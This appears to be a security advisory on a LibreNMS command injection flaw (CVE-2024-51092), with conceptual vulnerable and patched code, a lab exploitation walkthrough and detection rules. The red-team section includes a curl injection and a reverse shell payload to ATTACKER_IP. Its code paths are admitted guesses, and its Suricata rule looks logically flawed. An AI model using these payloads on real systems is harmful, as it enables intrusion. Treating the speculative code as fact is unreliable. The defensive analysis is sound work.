CVE-2024-51092

Executive Summary

CVE-2024-51092 is a critical OS command injection vulnerability affecting LibreNMS versions prior to 24.10.0. The vulnerability allows a remote, unauthenticated attacker to execute arbitrary operating system commands on the underlying server. The flaw exists in three distinct code paths: AboutController.php's index() method, SettingsController.php's update() method, and PollDevice.php's initRrdDirectory() function. Successful exploitation could lead to full compromise of the LibreNMS server, including data exfiltration, lateral movement, and deployment of persistent backdoors. The CVSS score of 9.1 reflects the critical nature of this vulnerability due to its network attack vector, low attack complexity, and high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

LibreNMS is a PHP-based network monitoring application. The vulnerability is not in a third-party package but in the core application code. However, the application relies on system utilities (e.g., ping, traceroute, snmpwalk) that are invoked via shell commands. The injection occurs when user-supplied input is improperly sanitized before being passed to these system commands. The fix in version 24.10.0 likely involves proper input validation and escaping, or using safer PHP functions like escapeshellarg() or proc_open() with argument arrays instead of shell strings.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of all files and data on the system.
• Integrity (I): High (H) - Complete compromise of system integrity; attacker can modify any data.
• Availability (A): High (H) - Total shutdown of the affected resource; attacker can cause denial of service.

Threat Level: Critical. The combination of remote exploitation, no authentication, and full system compromise makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is an OS command injection flaw in three separate code paths within LibreNMS.

1. AboutController.php - index(): This method likely displays system information (e.g., version, uptime) by executing shell commands. If user-controlled input (e.g., from GET/POST parameters) is passed to a function like shell_exec() or exec() without sanitization, an attacker can inject arbitrary commands.

2. SettingsController.php - update(): This method handles updating application settings. If a setting value is used in a shell command (e.g., to test network connectivity or apply configuration), an attacker can inject commands via the setting value.

3. PollDevice.php - initRrdDirectory(): This function initializes RRD (Round Robin Database) directories for monitored devices. The device hostname or other attributes might be used to create directories via shell commands. If the hostname is not sanitized, an attacker can inject commands.

Attack Flow:

1. Reconnaissance: An attacker identifies a vulnerable LibreNMS instance (e.g., via Shodan dorks or version fingerprinting).
2. Injection: The attacker crafts a malicious HTTP request to one of the vulnerable endpoints. For example, a POST request to /settings/update with a crafted value like ; id ; in a parameter.
3. Execution: The injected command is executed on the server with the privileges of the web server user (typically www-data or librenms).
4. Post-Exploitation: The attacker can then establish a reverse shell, exfiltrate data, install malware, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - Before 24.10.0):

// AboutController.php
public function index() {
    $cmd = "some_command " . $_GET['input'];
    $output = shell_exec($cmd);
    // ...
}

// SettingsController.php
public function update() {
    $setting = $_POST['value'];
    $cmd = "apply_setting " . $setting;
    exec($cmd, $output, $return_var);
    // ...
}

// PollDevice.php
public function initRrdDirectory($device) {
    $hostname = $device['hostname'];
    $cmd = "mkdir -p /opt/librenms/rrd/" . $hostname;
    system($cmd);
    // ...
}

Patched Code (Conceptual - After 24.10.0):

// AboutController.php
public function index() {
    $input = escapeshellarg($_GET['input']);
    $cmd = "some_command " . $input;
    $output = shell_exec($cmd);
    // ...
}

// SettingsController.php
public function update() {
    $setting = escapeshellarg($_POST['value']);
    $cmd = "apply_setting " . $setting;
    exec($cmd, $output, $return_var);
    // ...
}

// PollDevice.php
public function initRrdDirectory($device) {
    $hostname = escapeshellarg($device['hostname']);
    $cmd = "mkdir -p /opt/librenms/rrd/" . $hostname;
    system($cmd);
    // ...
}

The patch uses escapeshellarg() to properly escape shell arguments, preventing command injection. Alternatively, the code might use proc_open() with an array of arguments, which avoids shell interpretation entirely.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable LibreNMS instance (version < 24.10.0) using Docker:

   docker run -d -p 8080:80 --name librenms-vuln librenms/librenms:24.9.0
   

2. Access the web interface at http://localhost:8080 and complete the initial setup.

Exploitation Steps:

1. Identify Vulnerable Endpoint: The SettingsController.php update() method is likely the easiest to exploit. It may be accessible via /settings/update or similar.

2. Craft Payload: Use a command injection payload in a POST parameter. For example, if the setting is email:

   POST /settings/update HTTP/1.1
   Host: localhost:8080
   Content-Type: application/x-www-form-urlencoded
   
   email=test@example.com;id;
   

3. Execute: Send the request using curl:

   curl -X POST http://localhost:8080/settings/update -d "email=test@example.com;id;"
   

4. Verify: Check the application logs or response for the output of the id command.

5. Reverse Shell: For a more robust foothold, use a reverse shell payload:

   curl -X POST http://localhost:8080/settings/update -d "email=test@example.com;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;"
   

   Then listen on your attacker machine:

   nc -lvnp 4444
   

Blue Team

Detection & Response:

1. Monitor Web Logs: Look for unusual POST requests to /settings/update, /about, or any endpoint with shell metacharacters (;, |, &, $(), `).
2. Command Line Auditing: Enable auditd to log all execve syscalls. Monitor for unexpected commands like id, whoami, curl, wget, or reverse shell attempts.
3. Network Monitoring: Detect outbound connections to unknown IPs on unusual ports (e.g., 4444, 1337).
4. File Integrity Monitoring: Monitor changes to critical system files and directories (e.g., /etc/passwd, /bin/).
5. Honeypot: Deploy a fake LibreNMS instance to capture attacker techniques.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /settings/update with shell metacharacters in parameters.
  • Outbound connections to attacker-controlled IPs on high ports (e.g., 4444, 1337).
  • Unusual DNS queries to domains associated with C2 infrastructure.

• Host IOCs:

  • Unexpected processes running as www-data or librenms (e.g., bash, nc, python).
  • Files created in /tmp/ or /dev/shm/ with suspicious names (e.g., .backdoor, exploit.sh).
  • Modified web application files (e.g., config.php, index.php).
  • New cron jobs or systemd services.

• Log IOCs:

  • Apache/Nginx access logs showing requests with shell metacharacters.
  • /var/log/auth.log showing failed SSH attempts from the web server user.
  • Auditd logs showing execve calls for bash, sh, curl, wget from the web server process.

Detection Engineering

YARA Rule

rule CVE_2024_51092_LibreNMS_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting LibreNMS CVE-2024-51092"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51092"
        severity = "critical"

    strings:
        $injection1 = /[;&|`$()]/
        $injection2 = /(bash|sh|nc|python|perl|ruby)\s+-[cile]/
        $injection3 = /\/dev\/tcp\//
        $injection4 = /(curl|wget)\s+http/

    condition:
        any of ($injection*) and (
            filesize < 10KB and
            (
                // Look for POST data in web logs
                #injection1 > 2 or
                #injection2 > 0 or
                #injection3 > 0 or
                #injection4 > 0
            )
        )
}

Sigma Rule

title: LibreNMS Command Injection Attempt (CVE-2024-51092)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with command injection patterns targeting LibreNMS endpoints.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51092
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/settings/update'
            - '/about'
            - '/poll-device'
        cs-uri-query|re:
            - '.*[;&|`$()].*'
            - '.*(bash|sh|nc|python|perl|ruby)\s+-[cile].*'
            - '.*\/dev\/tcp\/.*'
            - '.*(curl|wget)\s+http.*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in settings (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51092 LibreNMS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/settings/update";
    http_uri;
    pcre:"/[;&|`$()]/i";
    pcre:"/(bash|sh|nc|python|perl|ruby)\s+-[cile]/i";
    pcre:"/\/dev\/tcp\//i";
    pcre:"/(curl|wget)\s+http/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
    reference:cve,2024-51092;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade LibreNMS to version 24.10.0 or later immediately.

   cd /opt/librenms
   sudo -u librenms ./daily.sh
   

   Or download the latest release from the official repository.

2. Workaround (if patching is not possible):

   • Restrict network access to the LibreNMS web interface using a firewall or VPN.
   • Implement a Web Application Firewall (WAF) with rules to block command injection patterns.
   • Disable the vulnerable endpoints by modifying the web server configuration (e.g., deny POST requests to /settings/update).

3. Harden the Server:

   • Run the web server with the least privileges necessary.
   • Disable dangerous PHP functions (shell_exec, exec, system, passthru, popen) in php.ini if not required.
   • Use a chroot jail or container for the LibreNMS application.

Long-Term Measures:

• Implement a secure coding policy that mandates input validation and output encoding.
• Conduct regular security audits and penetration testing.
• Subscribe to security advisories for all third-party software in use.

Valters IT